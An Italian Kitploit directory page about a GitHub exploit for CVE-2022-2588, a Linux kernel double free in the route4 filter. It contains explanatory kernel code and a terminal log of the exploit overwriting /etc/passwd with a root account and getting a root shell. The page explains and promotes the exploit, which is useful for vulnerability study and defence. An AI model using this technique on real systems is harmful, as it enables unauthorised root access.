Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-2588 — Codice di exploit per CVE-2022-2588 | Kitploit
Strumenti/GitHubGitHub/igr1s-red/cve-2022-2588
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubigr1s-red/cve-2022-2588

CVE-2022-2588

Codice di exploit per CVE-2022-2588

Vedi Repository
141 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-2588

La correzione

Il bug è stato corretto in Linux v5.19 con questo commit.

Il bug

Il bug è stato introdotto in Linux v3.17 con questo commit nel 2014. Richiede User Namespaces per essere attivato. Questo bug è molto simile a CVE-2021-3715, causato da operazioni improprie sulla lista concatenata di route4_filter. Maggiori dettagli su CVE-2021-3715 sono disponibili nel talk del BlackHat (pagina 16). Di seguito sono riportati alcuni brevi dettagli su CVE-2022-2588.

Di seguito sono mostrati alcuni importanti frammenti di codice della funzione route4_change per comprendere CVE-2022-2588.

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }

    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);

    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

La funzione è implementata per inizializzare/sostituire l'oggetto route4_filter. Il filtro usa handle come ID univoco per distinguere tra i vari filtri. Se esiste un handle già inizializzato (cioè la variabile fold non è nulla), aggiornerà il filtro rimuovendo il vecchio filtro e aggiungendone uno nuovo; altrimenti, aggiungerà semplicemente un nuovo filtro.

In [0], il kernel alloca l'oggetto route4_filter. In [1], se fold non è vuoto, cioè esiste un filtro con lo stesso handle, copia alcune informazioni nel nuovo filtro e lo inizializza in [2], quindi inserisce il nuovo filtro nella lista in [3]. Se il vecchio filtro esiste, viene rimosso dalla lista in [4] e liberato in [6].

Il bug si verifica in [4], che controlla se esiste un vecchio filtro da rimuovere. La condizione impone che l'handle non sia zero e che corrisponda all'handle del nuovo filtro. Questa condizione non è allineata con la condizione per liberare il filtro in [6], che controlla solo se il vecchio filtro esiste. Pertanto, se un utente crea un filtro con handle 0 e ne attiva poi la sostituzione, il filtro non verrà rimosso dalla lista in [4] ma verrà liberato in [6], poiché le condizioni non coincidono.

Lo sfruttamento

Poiché questo bug è simile a CVE-2021-3715, le loro primitive sono quasi le stesse. I lettori possono fare riferimento al talk del BlackHat per una descrizione più dettagliata delle primitive. Questo write-up mostra lo sfruttamento utilizzando l'idea di DirtyCred.

Poiché il fold liberato è ancora nella lista concatenata dopo l'attivazione del bug, possiamo liberare fold una seconda volta, causando infine un doppio free sull'oggetto route4_filer e sull'oggetto route4_filter->exts.action se CONFIG_NET_CLS_ACT è abilitato.

I codici dello sfruttamento utilizzano queste due capacità di doppio free per dimostrare l'attacco sulle credenziali di processo (utilizzando doppio free in kmalloc-192, in arrivo) e sulle credenziali di file aperti (utilizzando doppio free in kmalloc-256).

Attacco alle credenziali dei file

Seguendo l'idea di DirtyCred, il codice dello sfruttamento scambia le credenziali del file dopo i controlli di permesso, consentendoci di scrivere qualsiasi contenuto su file con permessi di sola lettura. Idealmente, il codice può funzionare su tutte le versioni del kernel affette dal bug. Si noti che, per garantire il funzionamento su kernel più vecchi dove msg_msg è isolato in kmalloc-rcl-*, lo sfruttamento utilizza un oggetto spray diverso.

root@kitploit:~
[ghost@localhost ~]$ ./exploit
self path /home/ghost/./exploit
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[ghost@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[ghost@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

Lo sfruttamento è stato scritto per funzionare sul maggior numero possibile di distribuzioni. È stato confermato funzionante su:

  • Debian 11 (5.10.0-8-amd64 ~ xxx)

Vuoi provare lo sfruttamento nella VM?

Effettua il login con utente low e password low

Scarica lo strumento